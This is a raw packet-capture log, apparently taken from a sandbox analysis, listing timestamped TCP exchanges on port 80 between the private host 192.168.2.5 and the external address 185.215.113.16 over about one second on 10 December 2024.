Dec 10, 2024 02:50:51.065118074 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.065161943 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.065789938 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.065834999 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.065895081 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.065943003 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.066464901 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.066510916 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.066620111 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.066665888 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.067342043 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.067389965 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.067533970 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.067579985 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.068182945 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.068231106 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.068295002 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.068341017 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.069019079 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.069063902 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.069144011 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.069188118 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.069907904 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.069953918 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.070100069 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.070142031 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.070775032 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.070822001 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.070872068 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.070918083 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.071592093 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.071639061 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.071702003 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.071746111 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.072470903 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.072515965 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.072549105 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.072591066 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.073402882 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.073446989 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.073602915 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.073642969 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.075084925 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.075141907 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.075162888 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.075211048 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.075371981 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.075381994 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.075417995 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.075434923 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.075835943 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.075879097 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.076050997 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.076092958 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.076761961 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.076822996 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.076836109 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.076873064 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.077579021 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.077632904 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.077682018 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.077727079 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.078471899 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.078522921 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.078598022 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.078644991 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.079299927 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.079345942 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.079468966 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.079509974 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.080180883 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.080233097 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.080316067 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.080360889 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.080945969 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.080987930 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.228394985 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.228446007 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.228570938 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.228605032 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.228820086 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.228864908 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.228943110 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.228985071 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.229716063 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.229763985 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.229866028 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.229898930 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.230567932 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.230618000 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.230704069 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.230741978 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.231389046 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.231440067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.231518030 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.231559038 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.232243061 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.232287884 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.232412100 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.232450008 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.233098984 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.233153105 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.233220100 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.233272076 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.233969927 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.234019041 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.234122038 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.234162092 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.234819889 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.234867096 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.234942913 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.234987974 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.235735893 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.235775948 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.235892057 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.235939026 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.236538887 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.236588001 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.236644983 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.236682892 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.237410069 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.237463951 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.237552881 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.237596989 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.238245010 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.238291979 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.238362074 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.238404989 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.239105940 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.239156008 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.239327908 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.239376068 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.239942074 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.239996910 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.240027905 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.240073919 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.240804911 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.240850925 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.240916014 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.240955114 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.241745949 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.241796970 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.241857052 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.241899014 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.242525101 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.242640018 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.242744923 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.242789984 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.243355989 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.243402958 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.243477106 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.243518114 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.244201899 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.244245052 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.244317055 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.244360924 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.245081902 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.245126009 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.245197058 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.245232105 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.245943069 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.245987892 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.246148109 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.246191025 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.246757984 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.246803045 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.246874094 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.246918917 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.247656107 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.247695923 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.247725010 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.247761011 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.248471975 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.248514891 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.248573065 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.248617887 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.249349117 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.249396086 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.249452114 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.249494076 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.250266075 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.250309944 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.250368118 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.250410080 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.251080990 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.251126051 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.251168966 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.251209021 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.251971960 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.252016068 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.252106905 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.252147913 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.252798080 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.252836943 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.253062010 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.253104925 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.253614902 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.253664970 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.253727913 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.253770113 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.254458904 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.254511118 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.254555941 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.254602909 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.255302906 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.255342960 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.255459070 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.255501986 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.256182909 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.256227016 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.256306887 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.256356001 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.257040024 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.257086039 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.257138014 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.257177114 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.257926941 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.257971048 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.258049011 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.258091927 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.258747101 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.258790970 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.258846045 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.258886099 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.259651899 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.259696960 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.259809017 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.259850979 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.260478973 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.260523081 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.260606050 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.260647058 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.261368990 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.261415005 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.261499882 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.261540890 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.262150049 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.262195110 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.262276888 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.262320995 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.263014078 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.263062000 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.263128996 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.263173103 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.264139891 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.264188051 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.264286041 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.264331102 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.264708996 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.264753103 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.264887094 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.264930010 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.265605927 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.265650034 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.265674114 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.265713930 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.266422033 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.266465902 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.266536951 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.266581059 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.267282963 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.267328024 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.267400980 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.267445087 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.268170118 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.268215895 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.268234968 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.268275976 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.268986940 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.269032955 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.269074917 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.269118071 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.269829035 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.269869089 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.269948959 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.269994020 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.270693064 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.270744085 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.270797968 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.270842075 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.271517038 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.271559954 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.271625996 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.271667957 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.272384882 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.272429943 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.272520065 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.272562981 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.273173094 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.273216009 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.420774937 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.420826912 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.420842886 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.420883894 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.421101093 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.421139002 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.421228886 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.421269894 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.421921015 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.421962976 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.422044039 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.422080040 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.422812939 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.422853947 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.422905922 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.422945976 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.423705101 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.423747063 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.423805952 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.423845053 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.424488068 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.424525976 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.424606085 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.424645901 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.425353050 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.425390959 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.425461054 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.425498009 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.426203966 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.426237106 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.426348925 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.426389933 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.427066088 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.427109957 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.427155018 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.427194118 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.427942038 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.427979946 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.428045034 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.428083897 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.428770065 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.428808928 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.428874969 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.428914070 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.429630995 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.429670095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.429743052 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.429781914 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.430619001 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.430668116 CET	49798	80	192.168.2.5	185.215.113.16
